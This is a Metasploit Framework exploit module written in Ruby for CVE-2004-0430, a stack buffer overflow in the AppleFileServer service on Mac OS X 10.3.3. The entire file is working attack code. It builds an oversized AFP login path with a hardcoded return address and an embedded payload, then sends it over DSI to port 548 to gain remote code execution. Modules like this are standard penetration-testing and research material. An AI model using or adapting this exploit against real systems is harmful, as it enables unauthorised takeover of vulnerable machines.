##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  
  include Msf::Exploit::Remote::Tcp
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AppleFileServer LoginExt PathName Overflow',
      'Description'    => %q{
         This module exploits a stack overflow in the AppleFileServer service
         on MacOS X. This vulnerability was originally reported by Atstake and
         was actually one of the few useful advisories ever published by that
         company. You only have one chance to exploit this bug.
         This particular exploit uses a stack-based return address that will 
         only work under optimal conditions.
      },
      'Author'         => 'hdm',
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     => 
        [
          [ 'CVE', '2004-0430'],
          [ 'OSVDB', '5762'],
          [ 'BID', '10271'],
        ],
      'Payload'        =>
        {
          'Space'    => 512,
          'BadChars' => "\x00\x20",
          'MinNops'  => 128,
          'Compat'   =>
            {
              'ConnectionType' => "+find"
            }
        },
      'Targets'        =>
        [
          # Target 0
          [
            'Mac OS X 10.3.3',
            {
              'Platform' => 'osx',
              'Arch'     => ARCH_PPC,
              'Ret'      => 0xf0101c0c # stack address :<
            },
          ],
        ],  
      'DisclosureDate' => 'May 3 2004'))

    # Configure the default port to be AFP
    register_options(
      [
        Opt::RPORT(548),
      ], self.class)      
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    path          = "\xff" * 1024
    path[168, 4]  = Rex::Arch.pack_addr(target.arch, target.ret)
    path[172, payload.encoded.length] = payload.encoded
    
    # The AFP header
    afp = "\x3f\x00\x00\x00"
    
    # Add the authentication methods
    ["AFP3.1", "Cleartxt Passwrd"].each { |m| 
      afp << [m.length].pack('C') + m
    }
    
    # Add the user type and afp path
    afp << "\x03" + [9].pack('n') + rand_text_alphanumeric(9)
    afp << "\x03" + [path.length].pack('n') + path
    
    # Add the data stream interface header
    dsi = 
    [
      0,           # Flags
      2,           # Command
      rand(65536), # XID
      0,           # Data Offset
      afp.length,  # Data Length
      0            # Reserved
    ].pack("CCnNNN") + afp
    
    sock.put(dsi)
    
    handler
    
    disconnect
  end

end